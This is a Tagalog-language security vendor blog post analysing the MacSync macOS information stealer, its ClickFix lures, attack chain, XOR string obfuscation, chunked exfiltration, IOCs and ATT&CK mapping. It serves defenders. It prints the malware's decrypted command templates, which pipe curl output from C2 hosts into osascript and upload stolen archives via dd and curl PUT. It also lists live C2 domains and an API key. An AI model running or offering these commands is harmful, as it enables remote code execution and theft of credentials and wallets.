• Mga Produkto at Serbisyo
        • Ulap

          • Endpoint Protection
          • Endpoint Detection and Response
          • Mobile Device Management
          • BYOD
          • Extended Detection and Response
          • Zero Trust Network Access
          • Data Privacy
        • Sa Prem

          • Endpoint Protection
          • Endpoint Detection and Response
          • Data Privacy
        • Platform

          • Malware Analysis Platform
        • Maliit na negosyo

          • SOHO Total Edition
        • Serbisyo

          • Threat Intel
          • Digital Risk Protection Services (DRPS)
          • Ransomware Recovery as a Services (RRaaS)
          • DPDP Compliance
          • Managed Detection and Response
          • Cybersecurity at Data Privacy Kamalayan
  • Solutions
    • BFSI
    • Edukasyon
    • Pamahalaan
    • Healthcare
    • ITeS
    • manufacturing
  • kompanya
    • Tungkol samin Seqrite
    • Pamumuno
    • Mga parangal at Sertipikasyon
    • silid-basahan
  • Kasosyo
    • Partner Program
    • Hanapin ang Kasosyo
    • Maging isang Kasosyo
  • Suporta
  • Mga mapagkukunan
    • blog
    • Puting papel
    • Mga Datasheet
    • Pag-aaral ng Kaso
    • Mga Ulat sa Banta
    • Manual
    • PoV
    • Unawa sa Data Privacy
    • Suriin ang Iyong Iskor sa Panganib
    • Mga Diyalogo ng DPDP
    • Oras ng Pagkapribado
Seqrite Labs Blog
Makipag-ugnay sa Sales Inaatake?
  • Mga Produkto at Serbisyo
        • Ulap

          • Endpoint Protection
          • Endpoint Detection and Response
          • Mobile Device Management
          • BYOD
          • Extended Detection and Response
          • Zero Trust Network Access
          • Data Privacy
        • Sa Prem

          • Endpoint Protection
          • Endpoint Detection and Response
          • Data Privacy
        • Platform

          • Malware Analysis Platform
        • Maliit na negosyo

          • SOHO Total Edition
        • Serbisyo

          • Threat Intel
          • Digital Risk Protection Services (DRPS)
          • Ransomware Recovery as a Services (RRaaS)
          • DPDP Compliance
          • Managed Detection and Response
          • Cybersecurity at Data Privacy Kamalayan
  • Solutions
    • BFSI
    • Edukasyon
    • Pamahalaan
    • Healthcare
    • ITeS
    • manufacturing
  • kompanya
    • Tungkol samin Seqrite
    • Pamumuno
    • Mga parangal at Sertipikasyon
    • silid-basahan
  • Kasosyo
    • Partner Program
    • Hanapin ang Kasosyo
    • Maging isang Kasosyo
  • Suporta
  • Mga mapagkukunan
    • blog
    • Puting papel
    • Mga Datasheet
    • Pag-aaral ng Kaso
    • Mga Ulat sa Banta
    • Manual
    • PoV
    • Unawa sa Data Privacy
    • Suriin ang Iyong Iskor sa Panganib
    • Mga Diyalogo ng DPDP
    • Oras ng Pagkapribado
Home   /  Tekniko  / MacSync: Ang Mapang-uyam na Magnanakaw ng macOS na Gumagamit ng mga Pang-akit ng ClickFix
MacSync: Ang Mapang-uyam na Magnanakaw ng macOS na Gumagamit ng mga Pang-akit ng ClickFix
08 Setyembre 2026

MacSync: Ang Mapang-uyam na Magnanakaw ng macOS na Gumagamit ng mga Pang-akit ng ClickFix

Sinulat ni Chandra Kant Bauri
Chandra Kant Bauri
Tekniko

Executive Buod

Ang MacSync Stealer ay isang pamilya ng mga magnanakaw ng impormasyon sa macOS at mga remote-access stager na idinisenyo upang maiwasan ang pagtuklas at ibinebenta nang komersyo sa ilalim ng modelong malware-as-a-service (MaaS).

Sa kadena ng pag-atake, ang mga binary ng MacSync ay mga native stager at multi-part exfiltration engine. Sa halip na mga standalone harvester, ang mga payload ay magaan na 64-bit Mach-O executable na tahimik na humihiwalay mula sa mga terminal session, direktang naglo-load ng mga credential-dumping module sa memorya, at maaasahang nag-e-exfiltrate ng mga ninakaw na credential pabalik sa imprastraktura ng kampanya.

Ang MacSync ay pangunahing inihahatid sa pamamagitan ng ClickFix social engineering at search engine malvertising. Gumagamit ito ng modular, multi-tier na estratehiya sa pagpapatupad upang malampasan ang Apple Gatekeeper, XProtect, at endpoint detection and response (EDR) mga kagamitan habang pinapanatili ang kaunting bakas ng paa sa disk.

  1. Pag-demonize ng Sesyon ng Lihim: Sa pagpapatupad, humihiwalay ang MacSync mula sa controlling terminal session gamit ang mga system call ng POSIX fork() at setsid(). Ito ay muling nagko-repare sa PID 1 (launchd) at nagre-redirect sa stdin, stdout, at stderr papunta sa /dev/null para hindi lumabas ang mga error message at process output sa console.
  2. Pag-obfuska ng Single-Byte XOR na Batay sa TemplateUpang maiwasan ang mga static na lagda at awtomatikong pagkuha ng string, itinatago ng mga binary ng MacSync ang mga functional na string (kabilang ang mga C2 endpoint, command-line argument, API header, at pansamantalang mga path ng file) gamit ang isang naka-inline na klase ng template ng C++ (ObfuscatedString Sa runtime, idine-decrypt ng binary ang mga string na ito papunta sa mga local stack buffer gamit ang single-byte XOR.
  3. Dinamikong AppleScript Pipeline sa Loob ng Memorya: Iniiwasan ng stager ang pagsusulat ng mga credential-dumping script sa disk. Sa halip, kumokonekta ito sa mga C2 server sa pamamagitan ng HTTPS gamit ang mga custom header (tulad ng api-key: at mga campaign token) at direktang ipinapadala ang tugon sa /usr/bin/osascript sa pamamagitan ng stdin. Pinapayagan nito ang mga attacker na i-update ang mga stealer payload sa server-side nang hindi muling kino-compile ang client binar.
  4. 10 MB na Fault-Tolerant Chunked Exfiltration: Para maglipat ng malalaking ninakaw na archive (naglalaman ng mga vault ng browser, mga system Keychain, at mga database ng cryptocurrency wallet), hinahati ng MacSync ang mga file sa 10 MB na piraso. Kinukuha nito ang bawat slice gamit ang native na dd utility at ina-upload ang mga ito nang sunud-sunod sa pamamagitan ng mga HTTP PUT request, gamit ang exponential backoff para subukang muli ang mga nabigong paglilipat.
  5. Paglilinis sa Sarili na Anti-Forensics: Agad na nililinis ng stager ang mga pansamantalang file sa disk. Sa sandaling magbalik ang C2 server ng tugon sa HTTP 200 na nagkukumpirma sa naka-chunk na upload, binubura ng malware ang local status file (/tmp/.httpcode) at ang naka-stage na archive (/tmp/osalgogging.zip).                                                                                     

Mga Pinagmulan ng Threat Actor at Malware-as-a-Service (MaaS) Ecosystem

Lumitaw ang MacSync noong 2025, kung saan iniuugnay ito ng mga pampublikong ulat sa naunang Mac.C Stealer at sa pagkakakilanlan ng developer na "Mentalpositive." Threat intelSinusubaybayan ng ligence ang MacSync bilang isang operasyon ng Malware-as-a-Service (MaaS), na nagbibigay ng malware at sumusuporta sa imprastraktura sa iba pang mga cybercriminal.

Ipinapakita ng ebidensya ang malinaw na pagkakaiba sa pagitan ng pagbuo ng malware at mga operasyon ng kampanya. Ang mga build ng MacSync ay kadalasang may kasamang mga identifier na partikular sa deployment, habang ang mga kampanya ay umaasa sa mga setup ng paghahatid na pinamamahalaan nang nakapag-iisa at umiikot na imprastraktura ng backend. Natukoy ng CIS ang isang s3 build tag na naka-link sa isang affiliate build, at kalaunan ay inugnay ng Microsoft ang mahigit 30 domain batay sa mga paulit-ulit na URI path, mga katangian ng kahilingan, mga header ng API-key, at pag-uugali ng exfiltration.

Pangunahing umaasa ang distribusyon ng MacSync sa social engineering kaysa sa mga pagsasamantala sa software. Naghahatid ang mga kampanya ng malware sa pamamagitan ng malvertising, SEO poisoning, mga nakompromisong website, mga pekeng software at AI installer, at mga pahina ng ClickFix na nanlilinlang sa mga biktima na patakbuhin ang mga command sa Terminal.

Bagama't natukoy ng pampublikong pananaliksik ang mga artifact sa pag-develop ng wikang Ruso sa ilang sample ng MacSync, hindi sapat ang mga marker na ito upang maiugnay ang malware sa isang partikular na aktor ng banta o sindikato ng kriminal.

Ang kaugnay na imprastraktura ay sumusunod sa ilang partikular na pattern ng pag-uugali na magagamit pa rin anuman ang pag-ikot ng mga domain. Kasama sa pag-uugaling ipinapakita ng MacSync sample at loader ang mga kahilingang C2 na ginawa sa /dynamic?txd= na may API-key na nakatakda sa header pati na rin ang pangongolekta ng datos na ginagawa nang lokal bago i-upload sa pamamagitan ng /gate?buildtxd= gamit ang mga parameter na upload_id, chunk_index, at total_chunks.

Mga kaakibat na kampanya: Paghahatid ng ClickFix

Ang MacSync ay madalas na ipinamamahagi sa pamamagitan ng mga kampanyang ClickFix na nagta-target sa mga gumagamit ng macOS. Sa halip na samantalahin ang mga kahinaan ng software, ang mga pag-atakeng ito ay umaasa sa social engineering upang linlangin ang mga biktima na kopyahin at patakbuhin ang mga utos sa Terminal sa ilalim ng pagkukunwari ng mga installer ng software, mga pagsusuri ng CAPTCHA, mga error sa pag-download, o mga prompt sa pag-troubleshoot.

Bagama't inilalarawan ng mga pampublikong ulat ang maraming kampanya ng MacSync ClickFix na may pabago-bagong mga pang-akit, setup ng paghahatid, at payload, hindi ipinapakita ng kasalukuyang ebidensya na lahat ng mga ito ay kabilang sa iisang aktor ng banta o na ang imprastraktura ng MacSync ay direktang gumagana sa ilalim ng ClearFake.

Ang ClearFake / Network ng Pamamahagi ng Trapiko (TDS)

Nagde-deploy ang mga affiliate ng Traffic Distribution Systems (TDS), tulad ng Keitaro TDS, sa mga nakompromisong website at ad network upang iruta ang mga bisita batay sa kanilang operating system. Sa pamamagitan ng pagsuri sa browser na User-Agent, nire-redirect ng TDS ang mga bisita ng Windows sa mga chain na namamahagi ng LummaC2 , Stealc , o Vidar , habang nagpapadala ng mga bisita ng macOS sa mga funnel ng impeksyon ng MacSync ClickFix.

Mga Pang-akit sa Social Engineering at Panggagaya sa Brand

Ginagaya ng mga kampanyang MacSync ang mga sikat na tool sa produktibidad, pagmemensahe, at pagbuo ng software upang i-target ang mga propesyonal:

Ginaya na Tatak / Tema Senaryo ng Mapanlinlang na Pang-akit Target na Demograpiko
Google Meet / Zoom “Error sa Mikropono/Audio: I-click ang Ayusin para ayusin ang driver ng audio ng iyong macOS.” Mga manggagawang pangkorporasyon na nasa remote worker, mga kandidato sa trabaho, sangkot sa mga panloloko sa panayam
Claude AI / ChatGPT “I-download ang Claude AI Desktop para sa macOS / Ayusin ang Koneksyon sa WebSockets.” Mga inhinyero ng software, mga mananaliksik ng AI, mga siyentipiko ng datos
Cloudflare / Turnstile "I-verify na ikaw ay tao: Buksan ang Terminal at i-paste ang verification code." Pangkalahatang trapiko sa web, mga negosyante ng crypto, mga gumagamit ng forum
Docker / Notion / Cursor Mga Google Search Ad na may poison na nag-aalok ng mga pekeng native desktop installer Mga developer ng software, mga inhinyero ng DevOps, mga tech lead
TradingView / Mga App ng Crypto "I-update ang iyong chart engine para makita ang real-time na datos ng merkado." Mga negosyanteng crypto na may mataas na net worth, mga mamumuhunan sa DeFi

 

Pandaigdigang Telemetrya Heograpiko at Epekto sa Industriya

Heograpikong Telemetriya

Threat intelIpinapakita ng mga ulat ng ligence na pangunahing tinatarget ng mga kampanya ng MacSync ang mga rehiyon na may malawakang paggamit ng macOS enterprise, mga sektor ng pagpapaunlad ng teknolohiya at software, at mga aktibong komunidad ng cryptocurrency o Web3. Ipinapakita ng telemetry noong Agosto 2026 na ang Estados Unidos ang may pinakamalaking bahagi ng mga detection, na sinusundan ng United Kingdom, Germany, Japan, Canada, France, Singapore, Australia, India, at Netherlands at mga bansang Nordic.

Pigura 1: Distribusyon ayon sa heograpiya sa macsync

Mga Naka-target na Sektor ng Industriya

Sektor ng Industriya Mga Pangunahing Tungkulin sa Target Mga Ari-ariang Mataas ang Halaga Banta ng Vector / Pang-akit Epekto sa Operasyon
Mga Startup ng Software Engineering at Tech Mga Full-Stack Developer, DevOps Engineer, AI Researchers Mga pribadong key ng SSH, mga token ng AWS/GCP, mga kredensyal ng GitHub/GitLab, mga file na .env Pag-malvertise na nagpapanggap na Claude AI, Cursor IDE, Docker Desktop, Notion Pagkuha ng cloud, pagnanakaw ng source code, kompromiso sa supply chain
Cryptocurrency at Web3 Mga Nag-develop ng Blockchain, Mga Mangangalakal ng DeFi, Mga Miyembro ng DAO, Mga Tagapamahala ng Pondo Datos ng vault ng MetaMask, Phantom, Coinbase, TronLink; mga file ng wallet ng Exodus/Electrum Mga pekeng link ng pulong sa Web3, mga pang-akit sa pag-update ng TradingView Pagkaubos ng wallet, hindi awtorisadong paglilipat ng token, pagnanakaw ng smart-contract key
Lakas-Paggawa sa Korporasyon na Malayuang Paggawa C-Suite, HR, Sales at Marketing Data ng macOS Keychain, mga token ng Slack/Discord, mga sesyon ng Google Workspace/Okta Mga pag-aayos ng pekeng mikropono o camera sa Google Meet/Zoom Pag-hijack ng pagkakakilanlan, pang-aabuso sa session-cookie, pag-pivot ng internal network
Mga Kontratista ng Gobyerno at Depensa Mga kawani at kontratista ng SLTT Mga kredensyal sa portal ng gobyerno, mga profile ng VPN, mga kredensyal ng empleyado Pag-malvertise ng search engine, mga nakompromisong website ng munisipyo Hindi awtorisadong pag-access ng munisipyo, pagkakalantad sa sensitibong datos ng mamamayan
Fintech at Financial Services Mga Analistang Pinansyal, Mga Mangangalakal ng Quant, Mga Accountant Mga token ng sesyon ng pagbabangko, mga kredensyal sa accounting, data ng payment card Mga pekeng tagatingin ng invoice, mga "pag-aayos" sa pag-render ng PDF Pandaraya sa pananalapi, mga hindi awtorisadong wire transfer ng korporasyon

Kadena ng Pag-atake ng MacSync

Pigura 2: Kadena ng pag-atake
  1. Paunang Impeksyon (ClickFix Trick): Gumagamit ang mga may-akda ng malware ng malvertising sa mga search engine kung saan naghahanap ang mga biktima ng ilang software. Nakakarating sila sa malisyosong web page (tulad ng pekeng Claude AI chatbot, Update sa Seguridad ng Apple, Taga-install ng Crypto Wallet), na nagpapakita ng mensahe ng error na humihiling sa biktima na isagawa ang isang utos sa window ng Terminal (curl -s … | zsh).
  2. Yugto 1 (Shell Wrapper Script): Ang malisyosong script ay tumatakbo sa kapaligiran ng Terminal at agad na inilulunsad ang proseso sa background.
  3. Yugto 2 (Base64 Payload): Binabawasan ng wrapper script ang isang background payload (daemon_function) na nagpapatupad ng native Mach-O binary stager (ang aming sampol: com.utils.Launcher).
  4. Yugto 3 (Dynamic AppleScript Stealer): Gumagawa ang binary ng query sa /dynamic?txd=… sa C2 server na may custom header (api-key: de62a2f4…) at direktang ipinapadala ito sa osascript. Hinihiling ng AppleScript ang system password ng user, ninanakaw ang lahat ng data ng keychain, at itinatapon ang mga database, session cookies, SSH keys, Telegram session, at crypto wallets para... /tmp/osalgogging.zip.
  5. Yugto 4 (RAT na may Pagtitiyaga): Ang payload ay nagpapatupad ng isa pang Mach-O RAT na nagpapatuloy gamit ang direktoryong ~/Library/LaunchAgents/ sa pamamagitan ng pagpapalit ng pangalan ng sarili nito bilang com.google.keystone.plist o com.apple.sync.plist.
  6. Yugto 5 (Katulong ng TCC): Gumagamit ng ad-hoc signed helper program para humiling at kumuha ng mga pahintulot para sa Pagre-record ng Screen ng macOS.
  7. Yugto 6 (Pag-exfiltrate at Pag-alis ng mga Artifact): Natutukoy ng programang Mach-O na ito ang pagkakaroon ng /tmp/osalgogging.zip, hinahati ito sa mga tipak ng 10 MB (0xA00000 bytes) gamit ang dd, ipinapadala ang data gamit ang HTTP PUT sa /gate?buildtxd=…, at tinatanggal /tmp/osalgogging.zip at /tmp/.httpcode.

Daloy ng Pagpapatupad ng Binary

Inilalarawan ng larawan sa ibaba ang kumpletong runtime lifecycle ng MacSync stager binary mula sa unang pagpapatupad hanggang sa huling paglilinis ng artifact.

Pigura 3: Arkitektural na daloy ng MacSync Mach-O stager

Pagkilala sa File at Static Metadata

Pigura 4: Output ng terminal otool na nagpapakita ng Mach-O 64-bit Headers at Load

Mga Katangian ng Static na File

katangian Halaga ng Istatiko Mga Tala
Pangalan ng File 9ff32f7c0108e9d27a3b491edf04827b6ca025f44db68aeadc44eeb97c9aab11 Pagpapangalan ng Hash ng SHA-256
file Format Mach-O 64-bit x86_64 na maipapatupad Manipis na Binary (Isang Arkitektura)
Mach-O Magic 0xFEEDFACF (MH_MAGIC_64) 64-bit na Mach-O Header
Uri / Subtipo ng CPU CPU_TYPE_X86_64 (0x01000007) / LAHAT (0x00000003) Arkitektura ng Intel 64-bit
Sukat ng file 38,800 bytes 0x9790 byte
MD5 9678f71ea4cccbc3d511dc8d7f24b113 Cryptographic Hash
SHA-1 59508d071661ea70fa5fcbe6f9e2fb72506e57df Cryptographic Hash
SHA-256 9ff32f7c0108e9d27a3b491edf04827b6ca025f44db68aeadc44eeb97c9aab11 Pangunahing Halimbawang Hash
Mga Bandila ng Kompilasyon PIE, TWOLEVEL, BINDS_TO_WEAK, WEAK_DEFINES, NOUNDEFS Posisyon na Malayang Maipapatupad
Address ng Puntos ng Pagpasok 0x100000e30 (_pangunahin) Seksyon __TEXT.__text

Mga Detalye ng Paglagda ng Kodigo

Pigura 5: Terminal output ng codesign utility na nagpapakita ng ad-hoc signing, unnotarized status, at spoofed utility identifier.
katangian halaga Mga Tala
Katayuan ng Lagda Nilagdaan nang ad-hoc (mga flag=0x2(adhoc)) Walang lagda ng Developer ID na inisyu ng Apple
Tagapagpakilala ng Paglagda com.utils.Launcher Naka-embed na code-signing identifier
CDHash d182eb7cba0ffa42d770d7b0d3499e49f24163a2 Hash ng Direktoryo ng Kodigo
CMSDigest d182eb7cba0ffa42d770d7b0d3499e49f24163a2662494ae615713c5f04b5260 Buod ng paglagda ng kodigo
TeamIdentifier hindi nakatakda Walang Apple Developer Team ID; nagpapahiwatig ng ad-hoc signing

Pag-obfuscate ng String at Pagbawi ng Key

Reverse Engineering ng Cryptographic Engine

Ang isang static strings analysis na isinagawa sa bare binary ay walang nakitang mga URL, file path, o command reference sa clear. Ang mga reference sa _ main ay nagbunga ng 19 na reference sa isang C++ template class:

katangian halaga
Simbolo ng Sira __ZNK16ObfuscatedStringILm...EE7decryptEv
Simbolo ng Pagkasira ObfuscatedString ::decrypt() const
Saklaw ng Address 0x100002350 - 0x100002740
Pigura 6: Mataas na Antas na IL decompilation ng template ng decryption ng string ng C++ gamit ang single-byte XOR key na 0xAA.

Natukoy ang single byte na xor key: 0xAA (Decimal: 170, Binary: 10101010).

Pigura 7: mga hilaw na XOR-encrypted constant na nakaimbak sa loob ng segment na __TEXT.__const.

Para ma-decrypt ang lahat ng naka-encrypt na byte string nang hindi nalalaman ang anumang plaintext nang maaga, ang sumusunod na standalone script ay pinapatakbo:

Pigura 8: programa ng decryption

Output ng programa ng decryption

Pigura 9: output ng automated Python decryption tool na nagpapakita ng lahat ng XOR 0xAA encrypted C2 path at command.

Pag-decrypt ng XOR String at Layout ng Imbakan at Layout ng Imbakan

Operasyon ng XOR ng Hardware (/tmp/.httpcode)

Ang sumusunod na talahanayan ay nagpapakita ng mga aktwal na operasyon na nagaganap sa loob ng CPU register ecx (xor ecx, 0xaa) para sa status file path sa 0x100002a2e.

# ng byte Naka-encrypt na Hex Susi ng XOR Na-decrypt na Hex Katangian
0 0x85 0xAA 0x2F /
1 0xDE 0xAA 0x74 t
2 0xC7 0xAA 0x6D m
3 0xDA 0xAA 0x70 p
4 0x85 0xAA 0x2F /
5 0x84 0xAA 0x2E .
6 0xC2 0xAA 0x68 h
7 0xDE 0xAA 0x74 t
8 0xDE 0xAA 0x74 t
9 0xDA 0xAA 0x70 p
10 0xC9 0xAA 0x63 c
11 0xC5 0xAA 0x6F o
12 0xCE 0xAA 0x64 d
13 0xCF 0xAA 0x65 e
14 0xAA 0xAA 0x00 \0

 

Ang path na /tmp/osalgogging.zip ay binubuo sa pamamagitan ng mga stack literal at XOR decryption.

Reverse Engineering _main – Layout ng Memorya at Daemonisasyon

Pagbuo ng URL / Paghahanda ng Endpoint Naglo-load ang sample ng maraming fragment ng string na may kaugnayan sa URL (hal. https, http, asia., usa.) sa mga lokal na stack variable. Pagkatapos ay naglalaan ito ng 128 byte na lokal na buffer upang buuin ang string. Ang pagkakaroon ng mga regional domain fragment at HTTP(S) scheme ay nagpapahiwatig na ang mga network endpoint ay binubuo o pinipili sa runtime, na naglilimita sa visibility ng mga buong URL sa static analysis.

Pigura 10: maraming string ng url

Pagdaemonya ng Proseso at Pagkukubli ng Stream (0x100000e30 – 0x100000f54)

Pigura 11: process fork, parent termination, paggawa ng session, at stream cloaking.
  1. Pagpapatupad ng _Fork() (0x100000e69): Malinis na natatapos ang prosesong magulang sa pamamagitan ng pagbabalik ng 0. Agad itong lumalabas at nagbibigay ng kontrol pabalik sa terminal. Sa oras na ang prosesong anak ay muling ipaparente sa launchd na tumatakbo gamit ang PID 1.
  2. Paglikha ng Sesyon na _Setsid() (0x100000eb7): Ang prosesong anak ay humihiwalay mula sa kontroling terminal. Tinitiyak ng hakbang na ito na ang proseso ay hindi na nakatali sa anumang sesyon.
  3. Pagpigil sa Stream (0x100000efe – 0x100000f48): Inire-redirect ng child process ang input, standard output, at standard error nito sa /dev/null. Ginagawa ito gamit ang tatlong tawag sa _freopen(). Ang bawat tawag ay humahawak sa isa sa mga stream na epektibong nagpapatahimik sa anumang output o input activity.

Reverse Engineering _main – Dynamic C2 Polling at In-Memory AppleScript

Raw Binary Ninja High-Level IL Decompilation (0x100001070 – 0x100001300)

Pigura 12: pagpapakita ng dynamic na C2 polling loop at in-memory execution sa pamamagitan ng osascript.            
  • Ang 0xc8 sa assembly ay decimal na 200 (HTTP 200 OK).
  • Ang sub_100001e20() ay naglalaman ng na-decrypt na template ng utos: curl -k -s –max-time 12 -H “User-Agent: %s” -H “api-key: %s” “%s” | osascript.
  • Ang AppleScript ay direktang ini-stream mula sa curl patungo sa osascript nang walang intermediate script file, ito ay direktang ipinapadala mula sa curl papunta sa /usr/bin/osascript binary ng Apple sa pamamagitan ng standard input.

Mga Katangian ng Static Configuration:

katangian halaga
Token ng Kampanya (txd) c4f70f37daae63fe47b0c92adf006f8cf50b6c522ad572a4014275cf979013a0
Token ng Pagpapatotoo ng Gate api-key: de62a2f47d1c7dec2997f931a050a615
Pangunahing Host drivinguber.com
Fallback Host newsinweb.com
Mga Panrehiyong Prefix Asya. / Estados Unidos.

Daloy ng Trabaho sa Pipeline ng Pagpapatupad

  1. Pangunahing Probe sa Kalusugan (drivinguber.com):
Pigura 13: probe sa kalusugan (drivinguber)
  1. Pagsusuri ng Katayuan: Binabasa ang /tmp/.httpcode sa pamamagitan ng _fscanf(“%d”, &code) at inaalis ang mga link sa /tmp/.httpcode.
  2. Pagpapatupad ng In-Memory Pipe (0x10000128e): Kung ang code ay == 200 (0xC8), ito ay magfo-format at magpapatakbo ng:
Pigura 14: pagpapatupad ng osascript sa loob ng memorya
  1. Fallback Rotation: Kung mabigo ang primary, uulitin ito sa [https, http] [asia., usa.] gamit ang base newsinweb.com.

10MB Chunking Engine at Sistema V ABI

Pigura 15: HLIL view na nagpapakita ng beripikasyon ng istatistika, 10MB ceiling division, at pagbuo ng session ID token.
  1. Pag-verify ng Target: Tinatawag ang _stat$INODE64(“/tmp/osalgogging.zip” &stat_buf). Kung wala roon ang file o sero ang laki, maayos itong magtatapos (ibalik ang 0).
  2. Matematika sa Paghahati ng Integer Ceiling:Ang Total Chunks ay katumbas ng floor ng (file_size plus 0x9FFFFF hinati sa 0xA00000) (Ang nakapirming laki ng chunk ay 0xA00000 na 10,485,760 bytes o 10 MB).
  3. Tagatukoy ng Sesyon: Ginawa gamit ang snprintf(upload_id, 0x40 “%ld-%08x” time(NULL) rand()).

Algoritmo ng Pagsubok Muli na May Adaptive Backoff

Pigura 16: pagkalkula ng counter increment at sleep delay sa retry loop (retry 2 + 3).

Sinusubukan muli nang hanggang 8 beses na may adaptive backoff: Delay = (retry_index × 2) + 3 segundo (5s, 7s, 9s, 11s, 13s, 15s, 17s, 19s)

Mga Utos ng Shell na Isinasagawa sa pamamagitan ng _system()

# Operasyon Template ng Format na Na-decrypt Layunin
1 C2 Probe sa Kalusugan curl -k -s –max-time 12 -H “User-Agent: %s” -H “api-key: %s” “%s” -o /dev/null -w “%%{http_code}” > %s 2>/dev/null Sinusuri ang availability ng C2 at iniimbak ang HTTP status code sa /tmp/.httpcode.
2 Stage 3 In-Memory Stager curl -k -s –max-time 12 -H “User-Agent: %s” -H “api-key: %s” “%s” | osascript Dina-download ang remote AppleScript stealer at isinasagawa ito sa pamamagitan ng osascript.
3 Yugto 6 na Chunked Exfiltration dd kung=%s bs=1 laktawan=%ld bilang=%ld 2>/dev/null | curl -k -s -X PUT –data-binary @- … Hinahati ang /tmp/osalgogging.zip sa 10 MB na mga piraso at ina-upload ang bawat piraso sa pamamagitan ng HTTP PUT.

Katutubong Proseso at Operasyon ng File ng POSIX

# Uri ng operasyon Tawag sa Katutubong API Target Layunin ng Operasyon
6 Proseso ng Tinidor _tinidor() N / A Agad na lalabas ang prosesong magulang upang humiwalay sa terminal.
7 Paghihiwalay ng Sesyon _setsid() N / A Lumilikha ng isang bagong hiwalay na sesyon; ang bata ay nagiging isang malayang demonyo.
8 Pagkukubli ng Stream _freeopen(“/dev/null”, “r”, *___stdinp) / dev / null Pinapatahimik ang karaniwang input.
9 Pagkukubli ng Stream _freopen(“/dev/null”, “w”, *___stdoutp) / dev / null Pinapatahimik ang karaniwang output mula sa curl at osascript.
10 Pagkukubli ng Stream _freeopen(“/dev/null”, “w”, *___stderrp) / dev / null Pinapatahimik ang standard error upang maiwasan ang mga alerto sa terminal.
11 Pag-verify ng File _stat$INODE64(“/tmp/osalgogging.zip”, &stat_buf) /tmp/osalgogging.zip Bineberipika ang pagkakaroon at laki ng kinuhang archive ng data bago i-upload.
12 Paglilinis ng Katayuan _unlink(“/tmp/.httpcode”) /tmp/.httpcode Binubura ang pansamantalang HTTP status-code file pagkatapos ng pagsusuri.
13 Paglilinis ng Archive ng Loot _remove(“/tmp/osalgogging.zip”) /tmp/osalgogging.zip Binubura ang ninakaw na datos sa ZIP archive pagkatapos ng matagumpay na pag-exfiltration.

Mga Indikasyon ng Kompromiso (IOC)

Mga Tagapagpahiwatig ng Host

Uri ng Tagapagpahiwatig halaga paglalarawan
SHA-256 Hash 9ff32f7c0108e9d27a3b491edf04827b6ca025f44db68aeadc44eeb97c9aab11 Katutubong Mach-O Stager Binary
MD5 Hashing 9678f71ea4cccbc3d511dc8d7f24b113 Katutubong Mach-O Stager Binary
SHA-1 Hash 59508d071661ea70fa5fcbe6f9e2fb72506e57df Katutubong Mach-O Stager Binary
ID ng Paglagda ng Kodigo com.utils.Launcher Ad-hoc na pagkakakilanlan ng bundle ng lagda
CDHash d182eb7cba0ffa42d770d7b0d3499e49f24163a2 Hash ng Direktoryo ng Kodigo
Naka-stage na Archive /tmp/osalgogging.zip Harvest archive na naglalaman ng ninakaw na data
Katayuan ng File /tmp/.httpcode Pansamantalang file ng HTTP response code

 

Mga Tagapagpahiwatig ng Network

Uri ng Tagapagpahiwatig halaga paglalarawan
C2 Domain (Pangunahin) drivinguber.com Pangunahing Yugto 3 / Yugto 6 C2 server
C2 Domain (Fallback) asia.newsinweb.com Endpoint ng C2 ng rehiyon ng Asya na fallback
C2 Domain (Fallback) usa.newsinweb.com Endpoint ng C2 sa rehiyon ng US na maaaring i-fallback
C2 Root Domain newsinweb.com Fallback root domain
URI (Pag-download) /dynamic?txd=c4f70f37daae63fe47b0c92adf006f8cf50b6c522ad572a4014275cf979013a0 Dinamikong gate ng payload ng AppleScript
URI (Pag-upload) /gate?buildtxd=c4f70f37daae63fe47b0c92adf006f8cf50b6c522ad572a4014275cf979013a0 10 MB chunked binary PUT upload gate
Pamagat ng Kahilingan sa HTTP api-key: de62a2f47d1c7dec2997f931a050a615 Token ng pagpapatotoo ng kampanya
Ahente ng Gumagamit ng HTTP Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) CFNetwork/Darwin 26.0.0 AppleWebKit/537.36 Ginayang User-Agent ng kliyente

MITER ATT&CK Mapping

Pantaktika Technique ID Pamamaraan Pagpapatupad ng MacSync
Paunang Pag-access T1204.002 Pagpapatupad ng User Nililinlang ng ClickFix lure ang mga user para isagawa ang isang malabong utos sa Terminal.
Pagpapatupad T1059.002 AppleScript Nagpapatupad ng mga malayuang payload ng AppleScript sa pamamagitan ng /usr/bin/osascript.
Pagpapatupad T1059.004 Unix Shell Nagpapatupad ng mga utos na /bin/sh.
Pagtitiyaga T1543.001 Ahente ng Paglulunsad Nag-i-install ng malisyosong .plist sa ~/Library/LaunchAgents/.
Pag-iwas sa Depensa T1027 Pag-obfusible Itinatago ng XOR 0xAA ang mga string at URL.
Pag-iwas sa Depensa T1564.001 Mga Nakatagong File Gumagamit ng mga file na may dot-prefixed para sa pansamantalang data.
Pag-iwas sa Depensa T1070.004 Pagtanggal ng File Binubura ang mga pansamantalang file pagkatapos mag-upload ng data.
Pag-iwas sa Depensa T1036.005 Nagbabalatkayo Gumagamit ng com.utils.Launcher upang magmukhang isang lehitimong bahagi.
Pag-iwas sa Depensa T1562.001 Impair Defenses Nire-redirect ang stdin, stdout, at stderr sa /dev/null.
Pag-access sa Kredensyal T1555.001 Keychain Gumagamit ng security dump-keychain para ma-access ang mga nakaimbak na kredensyal.
Pag-access sa Kredensyal T1539 Mga Cookie ng Sesyon sa Web Tinatarget ang mga database ng browser cookie para sa pagnanakaw ng session.
Pag-access sa Kredensyal T1552.004 Mga Pribadong Susi Nangongolekta ng mga SSH key at mga kredensyal ng AWS.
Pagkatuklas T1082 Information System Kinokolekta ang bersyon ng macOS, hardware UUID, at arkitektura ng CPU.
koleksyon T1560.001 I-archive ang Nakolektang Data Ini-archive ang ninakaw na data sa /tmp/osalgogging.zip.
Command at Control T1071.001 Mga Protocol sa Web Nakikipag-ugnayan sa C2 sa pamamagitan ng HTTPS/443.
Command at Control T1105 Paglipat ng Ingress Tool Nagda-download ng mga pangalawang yugto ng AppleScript module.
Exfiltration T1030 Mga Limitasyon sa Laki ng Paglilipat ng Data Hinahati ang archive sa 10 MB na piraso.
Exfiltration T1048.003 Alternatibong Protokol Nag-a-upload ng mga binary chunks sa pamamagitan ng mga HTTP PUT request.

May-akda:

Chandrakant Bauri

 nakaraang PostAno ang Proteksyon sa Pagkapribado at Bakit Ito Mahalaga para sa mga Negosyo...
susunod na Post  Ano ang Pinakamahusay Digital Risk Protection Services sa 2026
Chandra Kant Bauri

Tungkol kay Chandra Kant Bauri

